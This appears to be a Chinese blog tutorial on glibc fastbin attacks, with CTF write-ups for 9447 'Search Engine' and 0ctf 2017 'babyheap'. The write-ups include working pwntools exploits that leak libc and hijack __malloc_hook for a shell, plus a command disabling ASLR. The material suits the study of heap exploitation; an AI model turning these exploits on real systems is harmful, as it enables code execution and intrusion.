Contents
  1. 1. double free
  2. 2. house of Spirit
  3. 3. Alloc to Stack
  4. 4. Arbitrary Alloc
  5. 5. 例子
    1. 5.1. 2015 9447 CTF : Search Engine
      1. 5.1.1. 分析
      2. 5.1.2. exp
    2. 5.2. 0ctf2017 babyheap
      1. 5.2.1. 分析1
      2. 5.2.2. exp1
      3. 5.2.3. 分析2
      4. 5.2.4. exp2

首先需要了解:

  1. fastbin大小<=64B(32位),fastbins中的chunk不改变它的prev_inuse标志,也就无法被合并
  2. 首块double free检查,当一个chunk被free进fastbin前,会看看链表的第一个chunk【main_arena直接指向的块】是不是该chunk,如果是,说明double free了就报错,而对于链表后面的块,并没有进行验证。

fastbin attack就是fastbin类型的chunk中存在 堆溢出uaf 等漏洞

用过一定手段篡改某堆块的fd指向一块目标内存(当然其对应size位置的值要合法),当我们malloc到此堆块后再malloc一次,自然就把目标内存分配到了,就可以对这块目标内存为所欲为了,达到任意地址写任意值的效果(可以是关键数据也可以是函数指针)

double free

顾名思义,double free就是指fastbin的chunk被多次释放

house of Spirit

该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放到对应的fastbin链表中,从而达到分配指定地址的 chunk 的目的。

  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem 。
  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。

Alloc to Stack

该技术的核心点在于劫持 fastbin 链表中 chunk 的 fd 指针,把 fd 指针指向我们想要分配的栈上,当然同时需要栈上存在有满足条件的 size 值,从而把 fastbin chunk 分配到栈中,控制返回地址等关键数据。

Arbitrary Alloc

Alloc to Stack不尽相同,但它范围更广。只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如 bss、heap、data、stack 等等。
比如利用字节错位等方法来绕过 size 域的检验,实现任意地址分配 chunk,最后的效果也就相当于任意地址写任意值。

例子

2015 9447 CTF : Search Engine

怎么说呢,这个题对我来说难度有点大

分析

首先要搞懂程序流程

1
2
3
4
menu
1: Search with a word
2: Index a sentence
3: Quit

首先 2 写入句子,首先输入句子长度,且句子是由单词构成,每个单词后面都要加 空格 才能检测到,所以长度是带空格的长度
1 查找单词,输入单词长度和单词,查找当前所有的句子中含有这个单词的句子,显示一条并询问是否删除,再往下显示

我们输入句子长度为8的句子“how are ”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
0x603430 FASTBIN {
prev_size = 0,
size = 49,
fd = 0x603420,
bk = 0x3,
fd_nextsize = 0x603420,
bk_nextsize = 0x8
}
0x603460 FASTBIN {
prev_size = 0,
size = 49,
fd = 0x603424,
bk = 0x3,
fd_nextsize = 0x603420,
bk_nextsize = 0x8
}

pwndbg> x/20gx 0x603410
0x603410: 0x0000000000000000 0x0000000000000021
0x603420: 0x2065726120776f68 0x0000000000000000 ==>sentence
0x603430: 0x0000000000000000 0x0000000000000031 ==>申请了0x30大小的chunk存放word
0x603440: 0x0000000000603420 0x0000000000000003 ==>word1 how 的地址 长度
0x603450: 0x0000000000603420 0x0000000000000008 ==>sentence 的地址 长度
0x603460: 0x0000000000000000 0x0000000000000031 ==>同上
0x603470: 0x0000000000603424 0x0000000000000003 ==>word2 are 的地址 长度
0x603480: 0x0000000000603420 0x0000000000000008 ==>sentence 的地址 长度
0x603490: 0x0000000000603440 0x0000000000000031
0x6034a0: 0x00000000006034d0 0x0000000000000003

漏洞点

  1. 我们可以先创建一个unsorted bin大小的chunk,然后释放,该chunk将被填0,但是没有被设置为NULL。列表中只有者这一个 unsortedbin,释放后它的fd bk都将指向自己
    由于查找单词的时候没有限制’\x00’,所以通过’\x00’查找到最后,同时也没有截断,就可以连带打印出unsortedbin地址,libc_base = unsorted_addr - 0x3c4b78。
    main_arena_offset = 0x3c4b20。这里libc里main_arena偏移在malloc_trim函数里找到。

  2. 由于存在double free漏洞
    首先申请大小相同的 a b c三块,然后依次释放 c b a(因为搜索的顺序跟添加顺序相反)。此时fast bin里 a->b->c->null,然后再次释放b就会导致 b->a->b->a…
    这里注意的就是 在再次释放b的时候,因为c的fd指向null所以不进入搜索,b第一个进入搜索,所以只再次释放第一个结果,其余的都不再释放。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    pwndbg> fastbin
    fastbins
    0x20: 0x2105150 ◂— 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x2105010 —▸ 0x2105170 —▸ 0x2105240 ◂— 0x0
    0x80: 0x0
    =======================
    double free之后
    =======================
    pwndbg> fastbin
    fastbins
    0x20: 0x2105150 ◂— 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x2105170 —▸ 0x2105010 ◂— 0x2105170
    0x80: 0x0
  3. 改写__malloc_hookone_gadget。在malloc的时候,不会检查地址的对齐,只会检查size的大小是否符合。所以构造我们的堆块大小为0x60,这是因为(0x60+8)对齐16大小为0x70在fastbin[5]里,而0x7f刚好也对应着fastbin[5]。64位计算方法为 0x7f>>4 -2。而在main_arenahook处,很多地址都以0x7f开头,可以利用字节错位来构造假的size。(使用pwndbg的find_fake_fast
    把前面申请的chunk a b c重新使用后,再次调用malloc时,就会跳转到one_gadget执行

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    pwndbg> print (void*)&main_arena
    $2 = (void *) 0x7f4be2dc8b20 <main_arena>

    pwndbg> print (void*)&__malloc_hook
    $3 = (void *) 0x7f4be2dc8b10 <__malloc_hook>

    pwndbg> x/10gx 0x7f4be2dc8b10
    0x7f4be2dc8b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
    0x7f4be2dc8b20 <main_arena>: 0x0000000000000000 0x00000000010f5150
    0x7f4be2dc8b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
    0x7f4be2dc8b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
    0x7f4be2dc8b50 <main_arena+48>: 0x0000000000000000 0x00000000010f5010

    pwndbg> find_fake_fast 0x7f4be2dc8b10 0x7f
    FAKE CHUNKS
    0x7f4be2dc8aed FAKE PREV_INUSE IS_MMAPED NON_MAIN_ARENA {
    prev_size = 5468175281376198656,
    size = 127,
    fd = 0x4be2a89e20000000,
    bk = 0x4be2a89a0000007f,
    fd_nextsize = 0x7f,
    bk_nextsize = 0x0
    }

    pwndbg> print /x 0x7f4be2dc8b10-0x7f4be2dc8aed # __malloc_hook - fake_chunk_addr
    $4 = 0x23 # padding = 0x23 - 0x10

    pwndbg> print /x 0x7f4be2dc8b20-0x7f4be2dc8aed # main_arena - fake_chunk_addr
    $5 = 0x33

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!usr/bin/python
from pwn import *
context.log_level = 'debug'

binary = "./search"
ip = ""
port = 0
elf = ELF(binary)

def menu(choice):
io.sendlineafter("Quit\n", str(choice))

def search(word):
menu(1)
io.sendlineafter("size:\n", str(len(word)))
io.sendafter("word:\n", word)

def delete(yn):
io.recvuntil("(y/n)?\n")
io.sendline(yn)

def index(sent):
menu(2)
io.sendlineafter("size:\n", str(len(sent)))
io.sendafter("sentence:\n", sent)


def pwn(ip, port, debug):
global io
if debug == 1:
io = process(binary)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
io = remote(ip, port)
libc = 0

sent = 'a'*0x99 + ' b '
index(sent)
search('b')
delete('y')
search('\x00')
io.recvuntil("Found " + str(len(sent)) + ": ")
unsorted_addr = u64(io.recv(8))
delete('n')
print "unsorted_addr = " +hex(unsorted_addr)
libc_base = unsorted_addr - 0x3c4b78
main_arena_offset = 0x3c4b20
main_arena = libc_base + main_arena_offset
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one_gadget[3]

sent = 'a' * 0x5d + ' c ' # 1
index(sent)
sent = 'a' * 0x5d + ' c ' # 2
index(sent)
sent = 'a' * 0x5d + ' c ' # 3
index(sent)

search('c')
delete('y')
delete('y')
delete('y')
# main_arena -> 1 -> 2 -> 3 -> NULL
search('\x00')
delete('y')
delete('n')
delete('n')
# main_arena -> 2 -> 1 -> 2 -> 1 -> ...
fake_chunk_addr = main_arena - 0x33
index(p64(fake_chunk_addr).ljust(0x60, 'a'))
index('b' * 0x60)
index('c' * 0x60)
sent = 'a' * 0x13 + p64(one_gadget)
sent = sent.ljust(0x60, 'a')
# gdb.attach(io)
index(sent)

io.interactive()

if __name__ == '__main__':
pwn(ip, port, 1)

做完感觉挺简单的…

0ctf2017 babyheap

保护全开
功能:

1
2
3
4
5
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit

calloc的size是在Allocate中输入的。而Fill时size是重新输入的,可以造成堆溢出。
(内存分配函数是calloc而不是malloc,calloc分配chunk时会对内存区域进行置空,也就是说之前的fd和bk字段都会被置为0)
先关闭PIE方便调试

1
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

在gdb中使用

1
skip function alarm

跳过alarm函数,方便调试,但是每次调试都需要执行这么一句。
或者就通过patch二进制文件删除alarm函数

分析1

alloc四个fast chunk,一个small chunk

先释放1,再释放2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/40gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 ==>0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 ==>1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 ==>2
0x555555757050: 0x0000555555757020 0x0000000000000000 ==>后入先出,所以chunk2的fd指向chunk1
0x555555757060: 0x0000000000000000 0x0000000000000021 ==>3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000091 ==>4
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000000
0x555555757100: 0x0000000000000000 0x0000000000000000
0x555555757110: 0x0000000000000000 0x0000000000020ef1
0x555555757120: 0x0000000000000000 0x0000000000000000
0x555555757130: 0x0000000000000000 0x0000000000000000

接下来,通过堆溢出漏洞,将chunk2的fd指针第一个字节修改为0x80指向chunk4,由于1, 2都被free,所以通过chunk0进行修改
因为申请fast chunk时会检测chunk_size和chunk_index是否匹配【index计算方式为:(chunk size) >> (SIZE_SZ == 8 ? 4 : 3) – 2,在64位平台上SIZE_SZ为8】,所以我们还需要修改chunk4的size位为0x21

1
2
alloc(0x10) ==>得到原来chunk2空间
alloc(0x10) ==>得到chunk4空间,可以控制

前提:当内存中只有一个small chunk的时候,且该chunk处于申请空间的内存最高位,那么释放后的fd bk并不会指向libc中的某处
FALSE
所以我们应该再alloc一个small chunk,使chunk4不在最高位
再将chunk4的size位修复,使chunk4被释放后,fd bk指向libc某处
TRUE
这时候打印chunk2就可以得到top chunk,它与main_arena偏移固定,为0x3c4b78,减去它即得到libc基地址(在fastbin为空时,unsortbin的fd和bk指向自身main_arena)

又,malloc中不为空时,就执行它指向的函数,如果我们将指针改为shell函数,那么调用malloc就会触发getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/30gx &__malloc_hook-0x10
0x7ffff7dd1a90 <_IO_wide_data_0+208>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1aa0 <_IO_wide_data_0+224>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1ab0 <_IO_wide_data_0+240>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1ac0 <_IO_wide_data_0+256>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1ad0 <_IO_wide_data_0+272>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1ae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x00005555557571a0

__malloc_hook恰好在main_arena - 0x10处。

1
2
3
4
5
6
pwndbg> x/10x 0x7ffff7dd1ae0 - 0x3
0x7ffff7dd1add <_IO_wide_data_0+285>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f
0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000

偏移为0x3c4b78 - (0x7ffff7dd1b70 - 0x7ffff7dd1aed) = 0x3c4aeb

exp1

小tips:缩进的tab或空格不能混用,要么全用tab 要么全用空格。okok我今天才第一次遇见

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!usr/bin/python
from pwn import *
context.log_level = 'debug'

ip = " "
port = 0
io = 0
elf = ELF("./babyheap_0ctf_2017")

def menu(choice):
io.sendlineafter(": ", str(choice))
def alloc(size):
menu(1)
io.sendlineafter(": ", str(size))
def fill(idx, size, content):
menu(2)
io.sendlineafter(": ", str(idx))
io.sendlineafter(": ", str(size))
io.sendafter(": ", content)
def free(idx):
menu(3)
io.sendlineafter(": ", str(idx))
def dump(idx):
menu(4)
io.sendlineafter(": ", str(idx))

def pwn(ip, port, debug):
global io
if(debug == 1):
io = process("./babyheap_0ctf_2017")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
io = remote(ip, port)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
alloc(0x10) #0
alloc(0x10) #1
alloc(0x10) #2
alloc(0x10) #3
alloc(0x80) #4
free(1)
free(2)
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, len(payload), payload)
payload = p64(0)*3
payload += p64(0x21)
fill(3, len(payload), payload)
alloc(0x10) #1==> 2
alloc(0x10) #2==> 4
payload = p64(0)*3
payload += p64(0x91)
fill(3, len(payload), payload)
alloc(0x80)
free(4)
dump(2)
io.recvuntil("\n")
libc_base = u64(io.recvuntil("Command")[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))

alloc(0x60)
free(4)

payload = p64(libc_base+0x3c4aed)
fill(2, len(payload), payload)

alloc(0x60)
alloc(0x60)
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base + one_gadget[1])
fill(6, len(payload), payload)
alloc(233)
io.interactive()

if __name__ == '__main__':
pwn("node3.buuoj.cn", 28315, 1)

分析2

  1. 通过unsorted bin的指针来泄露libc_base
    要打印出指针,就需要使用Dump功能来打印,但是Dump只能打印没有被Free的content
    想要打印出被free的内容,就可以想到通过打印一个没有被Free的content,但是其中包含了一个被free的chunk,如何实现? 既然存在堆溢出,当然是通过改写size来达到目的。
    如图理解

    显然A B的前后都需要申请chunk,前一个chunk为了造成堆溢出改写A的size位,后一个chunk防止与top chunk合并
    同时这些chunk的大小都必须是unsorted bin,这样B被free后 fd bk 都指向unsorted_addr,可以得到libc_base
  2. 劫持__malloc_hook,通过堆溢出改写fd到__malloc_hook附近地址,连续calloc两次就到附近地址进行写入,写入到__malloc_hook时将该处填写成one_gadget即可。再次Alloc调用calloc时,就会执行__malloc_hook处的one_gadget拿shell了。【这里和我文章fastbin attack中search这个题一样的】

好了可以着手写exp了

exp2

原po说的是exp没有libc限制,其实不然….

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
#ARCH SETTING
context(arch = 'amd64' , os = 'linux')
r = process('./babyheap')
# r = remote('127.0.0.1',9999)

#FUNCTION DEFINE
def new(size):
r.recvuntil("Command: ")
r.sendline("1")
r.recvuntil("Size: ")
r.sendline(str(size))

def edit(idx,size,content):
r.recvuntil("Command: ")
r.sendline("2")
r.recvuntil("Index: ")
r.sendline(str(idx))
r.recvuntil("Size: ")
r.sendline(str(size))
r.recvuntil("Content: ")
r.send(content)

def delet(idx):
r.recvuntil("Command: ")
r.sendline("3")
r.recvuntil("Index: ")
r.sendline(str(idx))

def echo(idx):
r.recvuntil("Command: ")
r.sendline("4")
r.recvuntil("Index: ")
r.sendline(str(idx))

new(0x90) #idx.0 to unsorted bin
new(0x90) #idx.1 to unsorted bin
new(0x90) #idx.2 to unsorted bin
new(0x90) #idx.3 for protecting top_chunk merge
delet(1)

payload_expand = 'A'*0x90 + p64(0) + p64(0x141)
edit(0,len(payload_expand),payload_expand)

new(0x130)

payload_crrct = 'A'*0x90 + p64(0) + p64(0xa1)
edit(1,len(payload_crrct),payload_crrct)

delet(2)

echo(1)
r.recvuntil("Content: n")
r.recv(0x90 + 0x10)
fd = u64( r.recv(8) )
libc_unsort = fd
libc_base = libc_unsort - 0x3c4b78

new(0x90) #idx.2 clean the heap-bins environment
new(0x10) #idx.4 for overflow
new(0x60) #idx.5 to fastbin[5]
new(0x10) #idx.6 for protecting top_chunk merge
delet(5) #NOTICE: idx.5 recycled after here !!!
malloc_hook_fkchunk = libc_base + 0x3c4aed
payload_hj = 'A'*0x10 + p64(0) + p64(0x71) + p64(malloc_hook_fkchunk)
edit(4,len(payload_hj),payload_hj)


new(0x60) #idx.5
new(0x60) #idx.7
onegadget_addr = libc_base + 0x4526a
payload_hj2onegadget = 'A'*3 + p64(0) + p64(0) + p64(onegadget_addr)
edit(7,len(payload_hj2onegadget),payload_hj2onegadget)


new(0x100)
r.interactive()

参考:
1
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/
上述四种attack方法的demo都可以参照ctfwiki中给的 ↑
https://juejin.im/entry/5c177e6ff265da6141717bcd
search:
https://www.twblogs.net/a/5d012568bd9eee14644f97a1/zh-cn
https://www.gulshansingh.com/posts/9447-ctf-2015-search-engine-writeup/
https://bbs.pediy.com/thread-247219-1.htm ==>他把两种方法【wiki && gulshansingh的】都分析了一下
veritas🐂有一篇调教pwndbg的文章可以优化find_fake_fast,不需要设置大小,直接打印出可用的和padding
2
https://iosmosis.github.io/2019/09/13/babyheap-0ctf-2017/
https://nobb.site/2017/08/01/0x36/
https://www.cnblogs.com/xingzherufeng/p/9844873.html
https://juejin.im/entry/5c177e6ff265da6141717bcd